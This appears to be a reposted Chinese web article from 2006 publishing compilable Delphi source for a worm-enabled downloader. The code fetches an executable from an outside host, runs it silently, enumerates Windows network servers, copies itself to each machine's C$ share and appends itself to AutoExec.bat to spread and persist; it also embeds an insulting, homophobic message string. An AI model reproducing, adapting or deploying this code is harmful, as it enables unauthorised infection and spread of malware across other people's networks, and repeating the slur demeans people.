频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

蠕虫功能的下载者源代码

来源:CSDN 作者:iiprogram 出处:巧巧读书 2006-05-14 进入讨论组

http://su.pdxx.com/linkboy/blogview.asp?logID=187&cateID=1

源码公布:可以直接编译.蠕虫部分是国外的代码.

Program a;

Uses
Windows;

Const
krnp : String = 'I want to dedicate this message to '+
'gates. Gates, you suck. Gates'+
'you really are homosexual. etc';

VAR
ww     : String;


function mbgcqsd_(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
Function LowerCase(const S: string): string;
var
kixoebvq: Integer;
begin
kixoebvq := Length(S);
SetString(Result, PChar(S), kixoebvq);
if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
end;

Function FileSize(FileName: String): Int64;
Var
  zjzb: THandle;
  exn: TWin32FindData;
Begin
  Result:= -1;

  zjzb:= FindFirstFile(PChar(FileName), exn);
  If zjzb <> INVALID_HANDLE_VALUE Then
  Begin
  Windows.FindClose(zjzb);
  Result:= Int64(exn.nFileSizeHigh) Shl 32 + exn.nFileSizeLow;
  End;
End;

Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
  Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;

Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
  S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;

function FileExists(const FileName: string): Boolean;
var
  __pqxjj: THandle;
  wgndplz: TWin32FindData;
begin
  __pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
  result:= __pqxjj <> INVALID_HANDLE_VALUE;
  if result then
  begin
  CloseHandle(__pqxjj);
  end;
end;

procedure Enumeration(aResource:PNetResource);
var
qnlshmm: THandle;
kujf_n, mec: DWORD;
wgokq: array[0..1023] of TNetResource;
_fehlq: Integer;
begin
  WNetOpenEnum(2,0,0,aResource,qnlshmm);
  kujf_n:=1024;
  mec:=SizeOf(wgokq);
  while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
  for _fehlq:=0 to kujf_n-1 do
  begin
  if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
  ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
  if wgokq[_fehlq].dwUsage>0 then
  Enumeration(@wgokq[_fehlq])
end;
WNetCloseEnum(qnlshmm);
end;

Procedure Network;
Var
x_a : String;
ktkma : TextFile;
Begin
Enumeration(NIL);
While ww <> '' Do Begin
  x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
  Try
  CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
  If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
  AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
  Append(ktkma);
  WriteLn(ktkma, 'Setup.exe');
  CloseFile(ktkma);
  End;
  Except
  ;
  End;
  ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
End;
End;


Begin
mbgcqsd_(0, 'http://djyangyong.nease.net/mm.exe', 'C:\win30.exe', 0, 0);
WinExec('C:\win30.exe',0);
Network;

End.

专题:http://www.qqread.com/dotnet/s549110002.html 更多文章 更多内容请看病毒/木马/蠕虫专题,或进入讨论组讨论。
收藏此文】【 】【打印】【关闭
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
讨论组问题推荐
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章